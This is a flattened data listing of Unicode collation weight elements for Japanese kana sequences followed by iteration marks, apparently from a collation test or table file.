[.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002] # -3064 3099 309D ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002] # -30C5 30FE ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -30C4 3099 30FE ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -FF82 FF9E 30FE ; [.3D6C.0020.0011.0002][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -3065 309E ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -3064 3099 309E ; [.3D6C.0020.0011.0001][.0000.0037.0002][.3D6C.0020.0010.0002][.0000.0037.0002] # -30C6 30FD ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002] # -FF83 30FD ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002] # -3066 309D ; [.3D6D.0020.0011.0001][.3D6D.0020.0010.0002] # -30C6 30FE ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -FF83 30FE ; [.3D6D.0020.0011.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -3066 309E ; [.3D6D.0020.0011.0001][.3D6D.0020.0010.0002][.0000.0037.0002] # -30C7 30FD ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002] # -30C6 3099 30FD ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002] # -FF83 FF9E 30FD ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002] # -3067 309D ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002] # -3066 3099 309D ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002] # -30C7 30FE ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -30C6 3099 30FE ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -FF83 FF9E 30FE ; [.3D6D.0020.0011.0002][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -3067 309E ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -3066 3099 309E ; [.3D6D.0020.0011.0001][.0000.0037.0002][.3D6D.0020.0010.0002][.0000.0037.0002] # -30C8 30FD ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002] # -FF84 30FD ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002] # -3068 309D ; [.3D6E.0020.0011.0001][.3D6E.0020.0010.0002] # -30C8 30FE ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -FF84 30FE ; [.3D6E.0020.0011.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -3068 309E ; [.3D6E.0020.0011.0001][.3D6E.0020.0010.0002][.0000.0037.0002] # -30C9 30FD ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002] # -30C8 3099 30FD ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002] # -FF84 FF9E 30FD ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002] # -3069 309D ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002] # -3068 3099 309D ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002] # -30C9 30FE ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -30C8 3099 30FE ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -FF84 FF9E 30FE ; [.3D6E.0020.0011.0002][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -3069 309E ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -3068 3099 309E ; [.3D6E.0020.0011.0001][.0000.0037.0002][.3D6E.0020.0010.0002][.0000.0037.0002] # -30CA 30FD ; [.3D6F.0020.0011.0002][.3D6F.0020.0010.0002] # -FF85 30FD ; [.3D6F.0020.0011.0002][.3D6F.0020.0010.0002] # -306A 309D ; [.3D6F.0020.0011.0001][.3D6F.0020.0010.0002] # -30CB 30FD ; [.3D70.0020.0011.0002][.3D70.0020.0010.0002] # -FF86 30FD ; [.3D70.0020.0011.0002][.3D70.0020.0010.0002] # -306B 309D ; [.3D70.0020.0011.0001][.3D70.0020.0010.0002] # -30CC 30FD ; [.3D71.0020.0011.0002][.3D71.0020.0010.0002] # -FF87 30FD ; [.3D71.0020.0011.0002][.3D71.0020.0010.0002] # -306C 309D ; [.3D71.0020.0011.0001][.3D71.0020.0010.0002] # -30CD 30FD ; [.3D72.0020.0011.0002][.3D72.0020.0010.0002] # -FF88 30FD ; [.3D72.0020.0011.0002][.3D72.0020.0010.0002] # -306D 309D ; [.3D72.0020.0011.0001][.3D72.0020.0010.0002] # -30CE 30FD ; [.3D73.0020.0011.0002][.3D73.0020.0010.0002] # -FF89 30FD ; [.3D73.0020.0011.0002][.3D73.0020.0010.0002] # -306E 309D ; [.3D73.0020.0011.0001][.3D73.0020.0010.0002] # -30CF 30FD ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002] # -FF8A 30FD ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002] # -306F 309D ; [.3D74.0020.0011.0001][.3D74.0020.0010.0002] # -30CF 30FE ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -FF8A 30FE ; [.3D74.0020.0011.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -306F 309E ; [.3D74.0020.0011.0001][.3D74.0020.0010.0002][.0000.0037.0002] # -30D0 30FD ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002] # -30CF 3099 30FD ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002] # -FF8A FF9E 30FD ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002] # -3070 309D ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002] # -306F 3099 309D ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002] # -30D0 30FE ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -30CF 3099 30FE ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -FF8A FF9E 30FE ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -3070 309E ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -306F 3099 309E ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -30D1 30FD ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002] # -30CF 309A 30FD ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002] # -FF8A FF9F 30FD ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002] # -3071 309D ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002] # -306F 309A 309D ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002] # -30D1 30FE ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -30CF 309A 30FE ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -FF8A FF9F 30FE ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -3071 309E ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -306F 309A 309E ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # -30D2 30FD ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002] # -FF8B 30FD ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002] # -3072 309D ; [.3D75.0020.0011.0001][.3D75.0020.0010.0002] # -30D2 30FE ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -FF8B 30FE ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -3072 309E ; [.3D75.0020.0011.0001][.3D75.0020.0010.0002][.0000.0037.0002] # -30D3 30FD ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002] # -30D2 3099 30FD ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002] # -FF8B FF9E 30FD ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002] # -3073 309D ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002] # -3072 3099 309D ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002] # -30D3 30FE ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -30D2 3099 30FE ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -FF8B FF9E 30FE ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -3073 309E ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -3072 3099 309E ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -30D4 30FD ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002] # -30D2 309A 30FD ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002] # -FF8B FF9F 30FD ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002] # -3074 309D ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002] # -3072 309A 309D ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002] # -30D4 30FE ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -30D2 309A 30FE ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -FF8B FF9F 30FE ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -3074 309E ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -3072 309A 309E ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # -30D5 30FD ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002] # -FF8C 30FD ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002] # -3075 309D ; [.3D76.0020.0011.0001][.3D76.0020.0010.0002] # -30D5 30FE ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -FF8C 30FE ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -3075 309E ; [.3D76.0020.0011.0001][.3D76.0020.0010.0002][.0000.0037.0002] # -30D6 30FD ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002] # -30D5 3099 30FD ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002] # -FF8C FF9E 30FD ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002] # -3076 309D ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002] # -3075 3099 309D ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002] # -30D6 30FE ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -30D5 3099 30FE ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -FF8C FF9E 30FE ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -3076 309E ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -3075 3099 309E ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -30D7 30FD ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002] # -30D5 309A 30FD ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002] # -FF8C FF9F 30FD ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002] # -3077 309D ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002] # -3075 309A 309D ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002] # -30D7 30FE ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -30D5 309A 30FE ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -FF8C FF9F 30FE ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -3077 309E ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -3075 309A 309E ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # -30D8 30FD ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002] # -FF8D 30FD ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002] # -3078 309D ; [.3D77.0020.0011.0001][.3D77.0020.0010.0002] # -30D8 30FE ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -FF8D 30FE ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -3078 309E ; [.3D77.0020.0011.0001][.3D77.0020.0010.0002][.0000.0037.0002] # -30D9 30FD ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002] # -30D8 3099 30FD ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002] # -FF8D FF9E 30FD ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002] # -3079 309D ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002] # -3078 3099 309D ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002] # -30D9 30FE ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -30D8 3099 30FE ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -FF8D FF9E 30FE ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -3079 309E ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -3078 3099 309E ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -30DA 30FD ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002] # -30D8 309A 30FD ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002] # -FF8D FF9F 30FD ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002] # -307A 309D ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002] # -3078 309A 309D ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002] # -30DA 30FE ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -30D8 309A 30FE ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -FF8D FF9F 30FE ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -307A 309E ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -3078 309A 309E ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # -30DB 30FD ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002] # -FF8E 30FD ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002] # -307B 309D ; [.3D78.0020.0011.0001][.3D78.0020.0010.0002] # -30DB 30FE ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -FF8E 30FE ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -307B 309E ; [.3D78.0020.0011.0001][.3D78.0020.0010.0002][.0000.0037.0002] # -30DC 30FD ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002] # -30DB 3099 30FD ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002] # -FF8E FF9E 30FD ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002] # -307C 309D ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002] # -307B 3099 309D ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002] # -30DC 30FE ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -30DB 3099 30FE ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -FF8E FF9E 30FE ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -307C 309E ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -307B 3099 309E ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -30DD 30FD ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002] # -30DB 309A 30FD ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002] # -FF8E FF9F 30FD ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002] # -307D 309D ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002] # -307B 309A 309D ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002] # -30DD 30FE ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -30DB 309A 30FE ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -FF8E FF9F 30FE ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -307D 309E ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -307B 309A 309E ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # -30DE 30FD ; [.3D79.0020.0011.0002][.3D79.0020.0010.0002] # -FF8F 30FD ; [.3D79.0020.0011.0002][.3D79.0020.0010.0002] # -307E 309D ; [.3D79.0020.0011.0001][.3D79.0020.0010.0002] # -30DF 30FD ; [.3D7A.0020.0011.0002][.3D7A.0020.0010.0002] # -FF90 30FD ; [.3D7A.0020.0011.0002][.3D7A.0020.0010.0002] # -307F 309D ; [.3D7A.0020.0011.0001][.3D7A.0020.0010.0002] # -30E0 30FD ; [.3D7B.0020.0011.0002][.3D7B.0020.0010.0002] # -FF91 30FD ; [.3D7B.0020.0011.0002][.3D7B.0020.0010.0002] # -3080 309D ; [.3D7B.0020.0011.0001][.3D7B.0020.0010.0002] # -30E1 30FD ; [.3D7C.0020.0011.0002][.3D7C.0020.0010.0002] # -FF92 30FD ; [.3D7C.0020.0011.0002][.3D7C.0020.0010.0002] # -3081 309D ; [.3D7C.0020.0011.0001][.3D7C.0020.0010.0002] # -30E2 30FD ; [.3D7D.0020.0011.0002][.3D7D.0020.0010.0002] # -FF93 30FD ; [.3D7D.0020.0011.0002][.3D7D.0020.0010.0002] # -3082 309D ; [.3D7D.0020.0011.0001][.3D7D.0020.0010.0002] # -30E3 30FD ; [.3D7E.0020.000F.0002][.3D7E.0020.0010.0002] # -FF6C 30FD ; [.3D7E.0020.000F.0002][.3D7E.0020.0010.0002] # -3083 309D ; [.3D7E.0020.000F.0001][.3D7E.0020.0010.0002] # -30E4 30FD ; [.3D7E.0020.0011.0002][.3D7E.0020.0010.0002] # -FF94 30FD ; [.3D7E.0020.0011.0002][.3D7E.0020.0010.0002] # -3084 309D ; [.3D7E.0020.0011.0001][.3D7E.0020.0010.0002] # -30E5 30FD ; [.3D7F.0020.000F.0002][.3D7F.0020.0010.0002] # -FF6D 30FD ; [.3D7F.0020.000F.0002][.3D7F.0020.0010.0002] # -3085 309D ; [.3D7F.0020.000F.0001][.3D7F.0020.0010.0002] # -30E6 30FD ; [.3D7F.0020.0011.0002][.3D7F.0020.0010.0002] # -FF95 30FD ; [.3D7F.0020.0011.0002][.3D7F.0020.0010.0002] # -3086 309D ; [.3D7F.0020.0011.0001][.3D7F.0020.0010.0002] # -30E7 30FD ; [.3D81.0020.000F.0002][.3D81.0020.0010.0002] # -FF6E 30FD ; [.3D81.0020.000F.0002][.3D81.0020.0010.0002] # -3087 309D ; [.3D81.0020.000F.0001][.3D81.0020.0010.0002] # -30E8 30FD ; [.3D81.0020.0011.0002][.3D81.0020.0010.0002] # -FF96 30FD ; [.3D81.0020.0011.0002][.3D81.0020.0010.0002] # -3088 309D ; [.3D81.0020.0011.0001][.3D81.0020.0010.0002] # -30E9 30FD ; [.3D82.0020.0011.0002][.3D82.0020.0010.0002] # -FF97 30FD ; [.3D82.0020.0011.0002][.3D82.0020.0010.0002] # -3089 309D ; [.3D82.0020.0011.0001][.3D82.0020.0010.0002] # -30EA 30FD ; [.3D83.0020.0011.0002][.3D83.0020.0010.0002] # -FF98 30FD ; [.3D83.0020.0011.0002][.3D83.0020.0010.0002] # -308A 309D ; [.3D83.0020.0011.0001][.3D83.0020.0010.0002] # -30EB 30FD ; [.3D84.0020.0011.0002][.3D84.0020.0010.0002] # -FF99 30FD ; [.3D84.0020.0011.0002][.3D84.0020.0010.0002] # -308B 309D ; [.3D84.0020.0011.0001][.3D84.0020.0010.0002] # -30EC 30FD ; [.3D85.0020.0011.0002][.3D85.0020.0010.0002] # -FF9A 30FD ; [.3D85.0020.0011.0002][.3D85.0020.0010.0002] # -308C 309D ; [.3D85.0020.0011.0001][.3D85.0020.0010.0002] # -30ED 30FD ; [.3D86.0020.0011.0002][.3D86.0020.0010.0002] # -FF9B 30FD ; [.3D86.0020.0011.0002][.3D86.0020.0010.0002] # -308D 309D ; [.3D86.0020.0011.0001][.3D86.0020.0010.0002] # -30EE 30FD ; [.3D87.0020.000F.0002][.3D87.0020.0010.0002] # -308E 309D ; [.3D87.0020.000F.0001][.3D87.0020.0010.0002] # -30EE 30FE ; [.3D87.0020.000F.0002][.3D87.0020.0010.0002][.0000.0037.0002] # -308E 309E ; [.3D87.0020.000F.0001][.3D87.0020.0010.0002][.0000.0037.0002] # -30EF 30FD ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002] # -FF9C 30FD ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002] # -308F 309D ; [.3D87.0020.0011.0001][.3D87.0020.0010.0002] # -30EF 30FE ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002][.0000.0037.0002] # -FF9C 30FE ; [.3D87.0020.0011.0002][.3D87.0020.0010.0002][.0000.0037.0002] # -308F 309E ; [.3D87.0020.0011.0001][.3D87.0020.0010.0002][.0000.0037.0002] # -30F0 30FD ; [.3D88.0020.0011.0002][.3D88.0020.0010.0002] # -3090 309D ; [.3D88.0020.0011.0001][.3D88.0020.0010.0002] # -30F0 30FE ; [.3D88.0020.0011.0002][.3D88.0020.0010.0002][.0000.0037.0002] # -3090 309E ; [.3D88.0020.0011.0001][.3D88.0020.0010.0002][.0000.0037.0002] # -30F1 30FD ; [.3D89.0020.0011.0002][.3D89.0020.0010.0002] # -3091 309D ; [.3D89.0020.0011.0001][.3D89.0020.0010.0002] # -30F1 30FE ; [.3D89.0020.0011.0002][.3D89.0020.0010.0002][.0000.0037.0002] # -3091 309E ; [.3D89.0020.0011.0001][.3D89.0020.0010.0002][.0000.0037.0002] # -30F2 30FD ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002] # -FF66 30FD ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002] # -3092 309D ; [.3D8A.0020.0011.0001][.3D8A.0020.0010.0002] # -30F2 30FE ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # -FF66 30FE ; [.3D8A.0020.0011.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # -3092 309E ; [.3D8A.0020.0011.0001][.3D8A.0020.0010.0002][.0000.0037.0002] # -30F3 30FD ; [.3D8B.0020.0011.0002][.3D8B.0020.0010.0002] # -FF9D 30FD ; [.3D8B.0020.0011.0002][.3D8B.0020.0010.0002] # -3093 309D ; [.3D8B.0020.0011.0001][.3D8B.0020.0010.0002] # -30F4 30FD ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002] # -30A6 3099 30FD ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002] # -FF73 FF9E 30FD ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002] # -3094 309D ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002] # -3046 3099 309D ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002] # -30F4 30FE ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -30A6 3099 30FE ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -FF73 FF9E 30FE ; [.3D5C.0020.0011.0002][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -3094 309E ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -3046 3099 309E ; [.3D5C.0020.0011.0001][.0000.0037.0002][.3D5C.0020.0010.0002][.0000.0037.0002] # -30F5 30FD ; [.3D60.0020.000F.0002][.3D60.0020.0010.0002] # -3095 309D ; [.3D60.0020.000F.0001][.3D60.0020.0010.0002] # -30F5 30FE ; [.3D60.0020.000F.0002][.3D60.0020.0010.0002][.0000.0037.0002] # -3095 309E ; [.3D60.0020.000F.0001][.3D60.0020.0010.0002][.0000.0037.0002] # -30F6 30FD ; [.3D63.0020.000F.0002][.3D63.0020.0010.0002] # -3096 309D ; [.3D63.0020.000F.0001][.3D63.0020.0010.0002] # -30F6 30FE ; [.3D63.0020.000F.0002][.3D63.0020.0010.0002][.0000.0037.0002] # -3096 309E ; [.3D63.0020.000F.0001][.3D63.0020.0010.0002][.0000.0037.0002] # -30F7 30FD ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002] # -30EF 3099 30FD ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002] # -FF9C FF9E 30FD ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002] # -30F7 30FE ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002][.0000.0037.0002] # -30EF 3099 30FE ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002][.0000.0037.0002] # -FF9C FF9E 30FE ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D87.0020.0010.0002][.0000.0037.0002] # -30F8 30FD ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002] # -30F0 3099 30FD ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002] # -30F8 30FE ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002][.0000.0037.0002] # -30F0 3099 30FE ; [.3D88.0020.0011.0002][.0000.0037.0002][.3D88.0020.0010.0002][.0000.0037.0002] # -30F9 30FD ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002] # -30F1 3099 30FD ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002] # -30F9 30FE ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002][.0000.0037.0002] # -30F1 3099 30FE ; [.3D89.0020.0011.0002][.0000.0037.0002][.3D89.0020.0010.0002][.0000.0037.0002] # -30FA 30FD ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002] # -30F2 3099 30FD ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002] # -FF66 FF9E 30FD ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002] # -30FA 30FE ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # -30F2 3099 30FE ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # -FF66 FF9E 30FE ; [.3D8A.0020.0011.0002][.0000.0037.0002][.3D8A.0020.0010.0002][.0000.0037.0002] # -31F0 30FD ; [.3D62.0020.000F][.3D62.0020.0010.0002] # -31F0 30FE ; 